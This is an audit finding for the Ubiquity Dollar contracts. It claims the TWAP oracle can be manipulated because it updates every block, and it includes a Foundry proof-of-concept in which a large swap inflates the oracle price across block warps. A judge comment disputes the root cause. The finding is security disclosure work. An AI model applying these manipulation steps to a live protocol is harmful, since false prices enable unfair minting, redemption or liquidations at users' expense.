TWAP oracle can be easily manipulated

Summary

TWAP can be manipulated due to the short sample time.

Vulnerability Detail

The average price in the LibTWAPOracle.sol is sampled in every block (if any trades happen) which is incorrect and can let the attacker to manipulate the price.

function update() internal {
    TWAPOracleStorage storage ts = twapOracleStorage();
    (
        uint256[2] memory priceCumulative,
        uint256 blockTimestamp
    ) = currentCumulativePrices();
    if (blockTimestamp - ts.pricesBlockTimestampLast > 0) {
        ....
    }
}

The price will be averaged out if blockTimestamp - ts.pricesBlockTimestampLast > 0 which means if the attacker can manipulate the price of the tokens in the block n to 10x of that in block n-1 or greater the TWAP oracle will return the incorrect inflated price.

Coded POC

Add this test to a ./packages/contracts/test/diamond/facets/TWAPManipulation.t.sol
And run with forge test --match-path ./test/diamond/facets/TWAPManipulation.t.sol -vvv --fork-url RPC_URL

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {TWAPOracleDollar3poolFacet} from "../../../src/dollar/facets/TWAPOracleDollar3poolFacet.sol";

import "forge-std/Test.sol";
import "../DiamondTestSetup.sol";
import "forge-std/console.sol";

contract MockERC20 is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol) {}

    function mint(address to, uint256 value) public virtual {
        _mint(to, value);
    }

    function burn(address from, uint256 value) public virtual {
        _burn(from, value);
    }
}

interface IMetaPool {
    // Add liquidity to the pool
    function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external;

    // Remove liquidity from the pool
    function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts) external;

    // Remove liquidity in a single token
    function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_amount) external;

    // Perform a swap from one token to another
    function exchange(int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount) external returns(uint256);

    // Get the current balance of a token in the pool
    function balances(int128 i) external view returns (uint256);

    // Get the current price of a token in the pool
    function get_virtual_price() external view returns (uint256);

    function coins(uint256 arg0) external view returns (address);

    function get_price_cumulative_last() external view returns (uint256[2] memory);

    function block_timestamp_last() external view returns (uint256);
}

interface ICurveFactory {
    // The function and parameters depend on the specific Curve Factory interface
    function deploy_metapool(address base_pool, string calldata name, string calldata symbol, address token, uint256 A, uint256 fee) external returns (address);
}

contract MetaPoolTest is DiamondTestSetup {
    // This is the Curve.fi DAI/USDC/USDT pool
    address constant private threeCurvePoolAddress  = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;

    // This is the Curve.fi DAI/USDC/USDT (3Crv) token
    address constant private threeCurveTokenAddress = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;

    // This is the address of curve factory used to deploy a metapool
    address constant private curveFactoryAddress    = 0x0959158b6040D32d04c301A72CBFD6b39E21c9AE;

    ICurveFactory private curveFactory;
    address private metaPoolAddress;

    ERC20 private threeCRVToken;
    IMetaPool private metaPool;

    // Mock token used as collateral, should represent LUSD or DAI
    MockERC20 collateralToken;

    // Collateral price in USD with 8 decimals
    int256 collateralPrice = 1e8;

    // Pool ceiling
    uint256 poolCeiling = 50_000e18; // max 50_000 of collateral tokens is allowed

    function setUp() public override{
        super.setUp();

        // Set the Curve Factory address
        curveFactory = ICurveFactory(curveFactoryAddress); 
        threeCRVToken = ERC20(threeCurveTokenAddress);
        collateralToken = new MockERC20("COLLATERAL", "CLT", 18);

        // Deal tokens used for initial liquidity in the pool
        deal(address(dollarToken), address(this), 1000 ether);
        deal(address(threeCRVToken), address(this), 1000 ether);

        // Deploy the MetaPool through Curve Factory
        metaPoolAddress = curveFactory.deploy_metapool(
            threeCurvePoolAddress,  // Address of the 3CRV pool
            "MetaPool Token",       // MetaPool Token Name
            "MPT",                  // MetaPool Token Symbol
            address(dollarToken),
            100,                    // A parameter
            0.003 * 1e10            // Fee (example: 0.3%)
        );

        // Create metapool instance
        metaPool = IMetaPool(metaPoolAddress);

        // Add liquidity to the pool
        dollarToken.approve(address(metaPool), 1000 ether);
        threeCRVToken.approve(address(metaPool), 1000 ether);

        // Add liquidity to meta pool
        uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
        metaPool.add_liquidity(amounts, 0);

        // Setup a pool
        vm.prank(owner);
        twapOracleDollar3PoolFacet.setPool(metaPoolAddress, address(threeCRVToken));
    }

    function testManipulateTWAP() public {
        address hacker = address(0x123);

        deal(address(threeCRVToken), hacker, 10000000 ether);
        deal(address(dollarToken), address(this), 100000000 ether);

        // Get price before the attack
        uint256 amount0Out = twapOracleDollar3PoolFacet.consult(address(dollarToken));
        uint256 amount1Out = twapOracleDollar3PoolFacet.consult(address(threeCRVToken));
        console.log("PRICE BEFORE ATTACK");
        console.log("Dollar Token Price :", amount0Out);
        console.log("3CRV LP Token Price:", amount1Out);
        console.log();

        // Somebody swaps 1 Dollar for 1 3CRV LP - can be any value - unnecessary step for the attack
        dollarToken.approve(address(metaPool), 1 ether);
        metaPool.exchange(0, 1, 1 ether, 0);
        // Price is updated
        twapOracleDollar3PoolFacet.update();
        // Increase the block timestamp
        vm.warp(block.timestamp + 13);

        // Hacker swaps a big amount of tokens and updates the price
        vm.startPrank(hacker);
        threeCRVToken.approve(address(metaPool), 10000 ether);
        metaPool.exchange(1, 0, 10000 ether, 0);
        twapOracleDollar3PoolFacet.update();
        vm.stopPrank();

        // New block is created
        vm.warp(block.timestamp + 13);

        // Now the first swap on the pool in the new block will update the priceCumulative variables
        // to the inflated priceCumulatives - this call can be done by the attacker him self
        // swap 1 token
        dollarToken.approve(address(metaPool), 1 ether);
        metaPool.exchange(0, 1, 1 ether, 0);

        // Update the price - price is now inflated
        twapOracleDollar3PoolFacet.update();

        amount0Out = twapOracleDollar3PoolFacet.consult(address(dollarToken));
        amount1Out = twapOracleDollar3PoolFacet.consult(address(threeCRVToken));
        console.log("PRICE AFTER ATTACK");
        console.log("Dollar Token Price  :", amount0Out);
        console.log("3CRV LP Token Price :", amount1Out);
    }
}

Impact

TWAP oracle can be easily manipulated by an attacker due to the short sample time. This can cause a number of problems as the attacks can manipulate the price as he wants. He can mint or redeem dollars freely as he can bring the contract into that state. Liquidations can happen if they rely on the TWAP oracle.

Code Snippet

https://github.com/sherlock-audit/2023-12-ubiquity/blob/main/ubiquity-dollar/packages/contracts/src/dollar/libraries/LibTWAPOracle.sol#L74

Tool used

Manual Review

Recommendation

Increase the TWAP sample time to a larger value instead of 1 block. Increase it to 1 hour or more. The functions relying on the TWAP price should be disabled during the first period as the TWAP has no data yet.

Duplicate of #20

sherlock-admin2 commented 7 months ago

1 comment(s) were left on this issue during the judging contest.

auditsea commented:

The issue describes about TWAP can be manipulated because update function can be called anytime and by anyone, thus TWAP period can be as short as 1 block. It seems like a valid issue but after caeful consideration, it's noticed that the TWAP issue does not come from its period but the logic itself is incorrect, thus marking this as Invalid